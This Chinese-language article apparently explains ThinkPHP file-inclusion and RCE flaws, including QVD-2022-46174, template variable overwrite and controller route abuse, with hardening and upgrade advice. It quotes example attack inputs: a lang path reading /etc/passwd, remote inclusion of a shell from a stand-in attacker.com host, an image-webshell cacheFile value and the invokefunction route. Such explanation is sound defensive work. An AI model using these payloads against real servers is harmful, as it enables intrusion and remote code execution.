thinkphp文件包含漏洞是多成因叠加的高危风险链,核心在于框架对用户可控路径过滤缺失,结合php原生包含机制宽松解析,使攻击者可绕过限制加载执行任意本地或远程文件;qvd-2022-46174即为多语言模块因lang参数未白名单校验、未过滤../或://等字符导致的rce,影响5.x全系列及6.0.1–6.0.13版本。

ThinkPHP文件包含漏洞不是单一问题,而是多个成因叠加形成的高危风险链。核心在于框架对用户可控路径的过滤缺失,加上PHP原生包含机制的宽松解析能力,让攻击者能绕过常规限制,加载并执行任意本地或远程文件。
多语言模块引发的RCE(QVD-2022-46174)
该漏洞影响ThinkPHP 5.x全系列及6.0.1–6.0.13版本,前提是开启了多语言功能且未做输入校验。攻击者通过?lang=参数传入恶意路径,如../../../etc/passwd(LFI)或http://attacker.com/shell.php(RFI),框架会直接将其拼接到语言包路径中并include执行。
- 关键点:语言标识符未白名单校验,也未过滤../、://等危险字符
- 典型利用方式:结合pearcmd.php或phar://伪协议实现无文件RCE
- 检测方法:发送?lang=phpinfo(),观察是否报错或输出PHP信息
模板引擎变量覆盖导致的文件包含
在ThinkPHP 5.0.0–5.0.18和5.1.0–5.1.10中,assign(request()->get())配合fetch()会触发变量覆盖,进而控制cacheFile等参数。攻击者可构造?cacheFile=public/1.jpg,使框架将图片马当作PHP模板解析执行。
- 根本原因:extract()和array_merge()未过滤用户输入,导致模板路径被篡改
- 常见入口:fetch()、view()、display()等视图渲染函数
- 复现条件:开启调试模式或未禁用模板缓存
控制器路由解析缺陷(CVE-2018-1002015等)
早期ThinkPHP 5版本对s参数(控制器名)仅做简单正则过滤,允许反斜杠\穿越命名空间。攻击者可传入index/\think\app/invokefunction,最终调用任意静态方法,包括call_user_func_array执行任意代码。
- 影响范围广:默认路由配置下即存在,无需开启多语言或模板调试
- 绕过特征:URL中含\、::、/组合,且控制器名非常规格式
- 日志排查重点:access.log中出现大量含invoke、call_user_func字样的请求
修复与加固建议
不能只依赖升级,需分层设防:
- 立即关闭非必要功能:若项目无需多语言,注释或删除Lang中间件;禁用debug模式和模板编译缓存
- 输入强制白名单:对lang、s、cacheFile等参数做严格校验,只允许[a-z_-]+格式
- PHP环境加固:设置allow_url_include = Off、open_basedir限定根目录、禁用phar和zip流包装器
- 升级到安全版本:ThinkPHP 5.0建议升至5.0.24+,5.1升至5.1.40+,6.x升至6.0.14+或6.1.2+
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











